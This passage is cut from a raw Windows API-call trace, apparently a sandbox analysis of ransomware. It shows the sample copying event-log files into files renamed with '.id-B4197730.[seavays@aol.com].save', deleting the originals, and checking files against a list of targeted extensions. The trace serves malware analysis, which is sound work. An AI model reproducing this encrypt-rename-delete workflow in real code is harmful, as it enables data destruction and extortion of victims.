app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.905] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.905] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.905] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0060.778] GetLastError () returned 0x0 [0060.778] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0060.781] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0060.783] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.783] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x146, lpOverlapped=0x0) returned 1 [0060.783] SetEndOfFile (hFile=0x2e8) returned 1 [0060.784] CloseHandle (hObject=0x2e8) returned 1 [0060.786] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.786] SetEndOfFile (hFile=0x2fc) returned 1 [0060.787] CloseHandle (hObject=0x2fc) returned 1 [0060.787] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0060.788] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0060.788] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.788] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.788] lstrlenW (lpString=".doc") returned 4 [0060.788] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0060.788] lstrlenW (lpString=".docx") returned 5 [0060.788] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0060.788] lstrlenW (lpString=".pdf") returned 4 [0060.788] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0060.788] lstrlenW (lpString=".xls") returned 4 [0060.788] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0060.788] lstrlenW (lpString=".xlsx") returned 5 [0060.788] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0060.788] lstrlenW (lpString=".ppt") returned 4 [0060.788] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0060.788] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.788] lstrlenW (lpString=".zip") returned 4 [0060.788] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0060.788] lstrlenW (lpString=".rar") returned 4 [0060.788] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0060.788] lstrlenW (lpString=".bz2") returned 4 [0060.788] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString=".7z") returned 3 [0060.789] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0060.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.789] lstrlenW (lpString=".dbf") returned 4 [0060.789] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.789] lstrlenW (lpString=".1cd") returned 4 [0060.789] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.789] lstrlenW (lpString=".jpg") returned 4 [0060.789] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.789] lstrlenW (lpString=".doc") returned 4 [0060.789] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString=".docx") returned 5 [0060.789] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0060.789] lstrlenW (lpString=".pdf") returned 4 [0060.789] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString=".xls") returned 4 [0060.789] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString=".xlsx") returned 5 [0060.789] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0060.789] lstrlenW (lpString=".ppt") returned 4 [0060.789] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.789] lstrlenW (lpString=".zip") returned 4 [0060.789] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString=".rar") returned 4 [0060.789] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString=".bz2") returned 4 [0060.789] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0060.789] lstrlenW (lpString=".7z") returned 3 [0060.790] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0060.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.790] lstrlenW (lpString=".dbf") returned 4 [0060.790] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0060.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.790] lstrlenW (lpString=".1cd") returned 4 [0060.790] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0060.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0060.790] lstrlenW (lpString=".jpg") returned 4 [0060.790] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0060.790] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0060.790] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0060.790] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.790] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0060.790] CloseHandle (hObject=0x2fc) returned 1 [0060.790] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0060.791] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.791] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.791] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.791] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.791] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0060.791] GetLastError () returned 0x0 [0060.791] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0060.794] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0060.796] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.796] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x130, lpOverlapped=0x0) returned 1 [0060.796] SetEndOfFile (hFile=0x2e8) returned 1 [0060.796] CloseHandle (hObject=0x2e8) returned 1 [0060.798] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.798] SetEndOfFile (hFile=0x2fc) returned 1 [0060.800] CloseHandle (hObject=0x2fc) returned 1 [0060.800] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0060.800] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0060.800] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.800] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.800] lstrlenW (lpString=".doc") returned 4 [0060.800] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0060.800] lstrlenW (lpString=".docx") returned 5 [0060.801] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0060.801] lstrlenW (lpString=".pdf") returned 4 [0060.801] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString=".xls") returned 4 [0060.801] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString=".xlsx") returned 5 [0060.801] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0060.801] lstrlenW (lpString=".ppt") returned 4 [0060.801] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.801] lstrlenW (lpString=".zip") returned 4 [0060.801] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString=".rar") returned 4 [0060.801] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString=".bz2") returned 4 [0060.801] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString=".7z") returned 3 [0060.801] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0060.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.801] lstrlenW (lpString=".dbf") returned 4 [0060.801] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.801] lstrlenW (lpString=".1cd") returned 4 [0060.801] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.801] lstrlenW (lpString=".jpg") returned 4 [0060.801] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.801] lstrlenW (lpString=".doc") returned 4 [0060.801] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0060.801] lstrlenW (lpString=".docx") returned 5 [0060.802] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0060.802] lstrlenW (lpString=".pdf") returned 4 [0060.802] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString=".xls") returned 4 [0060.802] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString=".xlsx") returned 5 [0060.802] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0060.802] lstrlenW (lpString=".ppt") returned 4 [0060.802] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.802] lstrlenW (lpString=".zip") returned 4 [0060.802] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString=".rar") returned 4 [0060.802] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString=".bz2") returned 4 [0060.802] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString=".7z") returned 3 [0060.802] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0060.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.802] lstrlenW (lpString=".dbf") returned 4 [0060.802] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.802] lstrlenW (lpString=".1cd") returned 4 [0060.802] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0060.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0060.802] lstrlenW (lpString=".jpg") returned 4 [0060.802] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0060.802] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0060.802] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0060.803] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.803] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0060.803] CloseHandle (hObject=0x2fc) returned 1 [0060.803] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0060.803] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.803] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.803] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.803] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.803] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0060.803] GetLastError () returned 0x0 [0060.803] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0060.806] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0060.808] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.808] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x128, lpOverlapped=0x0) returned 1 [0060.808] SetEndOfFile (hFile=0x2e8) returned 1 [0060.808] CloseHandle (hObject=0x2e8) returned 1 [0060.810] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.810] SetEndOfFile (hFile=0x2fc) returned 1 [0060.811] CloseHandle (hObject=0x2fc) returned 1 [0060.812] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0060.812] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0060.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.812] lstrlenW (lpString=".doc") returned 4 [0060.812] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0060.812] lstrlenW (lpString=".docx") returned 5 [0060.812] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0060.812] lstrlenW (lpString=".pdf") returned 4 [0060.812] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0060.812] lstrlenW (lpString=".xls") returned 4 [0060.812] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0060.812] lstrlenW (lpString=".xlsx") returned 5 [0060.812] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0060.812] lstrlenW (lpString=".ppt") returned 4 [0060.812] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0060.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.812] lstrlenW (lpString=".zip") returned 4 [0060.813] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString=".rar") returned 4 [0060.813] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString=".bz2") returned 4 [0060.813] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString=".7z") returned 3 [0060.813] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0060.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.813] lstrlenW (lpString=".dbf") returned 4 [0060.813] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.813] lstrlenW (lpString=".1cd") returned 4 [0060.813] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.813] lstrlenW (lpString=".jpg") returned 4 [0060.813] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.813] lstrlenW (lpString=".doc") returned 4 [0060.813] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString=".docx") returned 5 [0060.813] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0060.813] lstrlenW (lpString=".pdf") returned 4 [0060.813] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString=".xls") returned 4 [0060.813] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString=".xlsx") returned 5 [0060.813] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0060.813] lstrlenW (lpString=".ppt") returned 4 [0060.813] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0060.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.813] lstrlenW (lpString=".zip") returned 4 [0060.814] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0060.814] lstrlenW (lpString=".rar") returned 4 [0060.814] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0060.814] lstrlenW (lpString=".bz2") returned 4 [0060.814] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0060.814] lstrlenW (lpString=".7z") returned 3 [0060.814] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0060.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.814] lstrlenW (lpString=".dbf") returned 4 [0060.814] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0060.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.814] lstrlenW (lpString=".1cd") returned 4 [0060.814] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0060.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0060.814] lstrlenW (lpString=".jpg") returned 4 [0060.814] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0060.814] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0060.814] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0060.814] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.326] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1118208) returned 1 [0061.326] CloseHandle (hObject=0x2fc) returned 1 [0061.326] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0061.326] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.326] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.326] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.326] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.326] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0061.327] GetLastError () returned 0x0 [0061.327] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0061.349] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0061.696] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11010, lpOverlapped=0x0) returned 1 [0061.705] 